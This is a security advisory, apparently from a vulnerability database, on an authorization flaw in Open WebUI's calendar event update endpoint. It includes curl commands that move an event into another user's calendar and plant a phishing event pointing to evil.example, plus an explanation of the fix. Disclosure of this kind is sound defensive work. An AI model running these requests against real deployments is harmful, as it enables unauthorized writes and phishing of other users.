Open WebUI IDOR: Calendar event re-parenting allows writing events into another user's calendar
Description
Summary
POST /api/v1/calendars/events/{event_id}/update validates that the caller has write access to the calendar the event *currently* belongs to, but does not validate the destination calendar_id supplied in the request body. The model layer then persists the new calendar_id unconditionally.
A regular user-role account can therefore create an event in their own calendar and immediately move it into any other user's calendar whose ID they know — bypassing the authorization check that create_event correctly performs. This is reachable on default configuration: ENABLE_CALENDAR and USER_PERMISSIONS_FEATURES_CALENDAR both default to True.
Details
Sink — missing destination check
backend/open_webui/routers/calendar.py:283-297
@router.post('/events/{event_id}/update', response_model=CalendarEventModel)
async def update_event(
request: Request, event_id: str, form_data: CalendarEventUpdateForm,
user: UserModel = Depends(get_verified_user)
):
await check_calendar_permission(request, user)
event = await CalendarEvents.get_event_by_id(event_id)
if not event:
raise HTTPException(status_code=404, detail='Event not found')
await _check_calendar_access(event.calendar_id, user, 'write') # ← SOURCE only
updated = await CalendarEvents.update_event_by_id(event_id, form_data) # ← writes form_data.calendar_id
...
backend/open_webui/models/calendar.py:658-693 (update_event_by_id)
update_data = form_data.model_dump(exclude_unset=True)
for field in [
'calendar_id', # ← destination persisted with no ACL
'title', 'description', 'start_at', 'end_at', 'all_day',
'rrule', 'color', 'location', 'is_cancelled',
]:
if field in update_data:
setattr(event, field, update_data[field])
Reference — create_event does check the destination
backend/open_webui/routers/calendar.py:255
await _check_calendar_access(form_data.calendar_id, user, 'write')
Default-config gates (both True)
backend/open_webui/config.py:1658-1662—ENABLE_CALENDARdefaults'True'backend/open_webui/config.py:1554—USER_PERMISSIONS_FEATURES_CALENDARdefaults'True'backend/open_webui/main.py:1457— router mounted unconditionally
PoC
Verified end-to-end against the official ghcr.io/open-webui/open-webui:main (v0.9.4) Docker image with two fresh user-role accounts.
1. Environment
git clone https://github.com/open-webui/open-webui.git
cd open-webui && docker compose up -d # http://localhost:3000
Create the first account (admin), then via admin UI / POST /api/v1/auths/add create two user-role accounts: attacker and victim. Sign each in and capture their JWTs as $ATTACKER_TOKEN / $VICTIM_TOKEN.
2. Obtain the victim's calendar_id
Calendar IDs are UUIDv4 (models/calendar.py:316) and not enumerable. In practice an attacker obtains one via:
- Read-only share — victim (or a group admin) grants the attacker
readon a calendar; the ID is returned byGET /api/v1/calendars/. - Event invitation — victim adds the attacker as an attendee on any event; the event payload (
CalendarEventModel,models/calendar.py:127) includescalendar_id. - Any side-channel (logs, screenshots, browser history).
For reproduction the maintainer can simply read it as the victim:
VICTIM_CALENDAR_ID=$(curl -s "$OPENWEBUI/api/v1/calendars/" \
-H "Authorization: Bearer $VICTIM_TOKEN" | python3 -c 'import sys,json;print(json.load(sys.stdin)[0]["id"])')
3. Control — direct create is correctly blocked
curl -s -o /dev/null -w '%{http_code}\n' \
-X POST "$OPENWEBUI/api/v1/calendars/events/create" \
-H "Authorization: Bearer $ATTACKER_TOKEN" -H 'Content-Type: application/json' \
-d "{\"calendar_id\":\"$VICTIM_CALENDAR_ID\",\"title\":\"x\",\"start_at\":1778400000000000000,\"end_at\":1778403600000000000}"
# → 403
4. Exploit — create-then-reparent
ATTACKER_CAL=$(curl -s "$OPENWEBUI/api/v1/calendars/" \
-H "Authorization: Bearer $ATTACKER_TOKEN" | python3 -c 'import sys,json;print(json.load(sys.stdin)[0]["id"])')
# 1. create in own calendar
EVENT_ID=$(curl -s -X POST "$OPENWEBUI/api/v1/calendars/events/create" \
-H "Authorization: Bearer $ATTACKER_TOKEN" -H 'Content-Type: application/json' \
-d "{\"calendar_id\":\"$ATTACKER_CAL\",\"title\":\"[INJECTED] Mandatory re-auth: https://evil.example/login\",\"description\":\"Session expired.\",\"location\":\"\",\"start_at\":1778400000000000000,\"end_at\":1778403600000000000}" \
| python3 -c 'import sys,json;print(json.load(sys.stdin)["id"])')
# 2. move into victim's calendar — NO destination check
curl -s -X POST "$OPENWEBUI/api/v1/calendars/events/$EVENT_ID/update" \
-H "Authorization: Bearer $ATTACKER_TOKEN" -H 'Content-Type: application/json' \
-d "{\"calendar_id\":\"$VICTIM_CALENDAR_ID\"}"
# → 200, response shows "calendar_id":"<VICTIM_CALENDAR_ID>"
5. Verification from victim's session
curl -s "$OPENWEBUI/api/v1/calendars/events?start=2026-05-01T00:00:00&end=2026-06-01T00:00:00" \
-H "Authorization: Bearer $VICTIM_TOKEN" | python3 -m json.tool
Observed output (truncated):
[{
"id": "1662c982-adb1-43d6-a9c8-0103fa1299c0",
"calendar_id": "0b755ea7-4ff4-4a60-9cff-8961e69c75bb",
"user_id": "7554dd33-e220-44cb-8441-169c55eef4f5",
"title": "[INJECTED] Mandatory re-auth: https://evil.example/login",
"description": "Session expired.",
...
}]
The injected event now lives in the victim's default calendar. A subsequent GET /events/{id} as the attacker returns 403 — confirming the move succeeded and the attacker has no legitimate access to the destination.
### Impact - Read-only → write escalation on shared calendars: a user granted read via AccessGrants can effectively write. - Phishing / social engineering: events appear inside the victim's own private calendar (not as an external invite). The hover tooltip (CalendarEventChip.svelte:12 → common/Tooltip.svelte) renders title/location as DOMPurify-sanitised HTML with allowHTML=true, so an attacker can embed formatted links and `` beacons (read-receipt when the victim hovers). DOMPurify prevents script execution, so this is HTML injection, not XSS. - Calendar spam / DoS: unlimited one-shot injections (attacker loses access to each event after the move, but can repeat with new events).
AI Insight
LLM-synthesized narrative grounded in this CVE's description and references.
Affected products
1- Range: <=0.9.4
Patches
Vulnerability mechanics
Root cause
"Missing authorization check on the destination `calendar_id` in the event update endpoint allows unauthorized event re-parenting."
Attack vector
An attacker with a regular `user`-role account creates an event in their own calendar, then calls `POST /api/v1/calendars/events/{event_id}/update` with a `calendar_id` belonging to another user. The endpoint only verifies write access to the event's current calendar (the attacker's own), not the destination calendar, so the event is reparented into the victim's calendar. The attacker must know the victim's calendar ID, which can be obtained through read-only shares, event invitations, or side-channels [ref_id=1][ref_id=2].
Affected code
The vulnerability is in `backend/open_webui/routers/calendar.py:283-297` (`update_event` endpoint) and `backend/open_webui/models/calendar.py:658-693` (`update_event_by_id`). The `update_event` handler checks write access on the source `calendar_id` but never validates the destination `calendar_id` from the request body, and the model layer persists the new `calendar_id` unconditionally.
What the fix does
The patch must add a destination ACL check in the `update_event` handler, mirroring the check already present in `create_event` at `backend/open_webui/routers/calendar.py:255`. Specifically, before calling `CalendarEvents.update_event_by_id`, the code should invoke `_check_calendar_access(form_data.calendar_id, user, 'write')` to ensure the caller has write permission on the target calendar. Without this, any user who can create events can inject arbitrary events into any calendar whose ID they know [ref_id=1][ref_id=2].
Preconditions
- configCalendar feature must be enabled (ENABLE_CALENDAR defaults to True)
- configUser permissions for calendar must be enabled (USER_PERMISSIONS_FEATURES_CALENDAR defaults to True)
- authAttacker must have a valid user-role account
- inputAttacker must know the target calendar's UUIDv4 ID
Reproduction
The bundle includes a full PoC. See the 'PoC' section in [ref_id=1] and [ref_id=2] for step-by-step reproduction using curl commands against a Docker instance of open-webui v0.9.4.
Generated on Jun 17, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
2News mentions
0No linked articles in our index yet.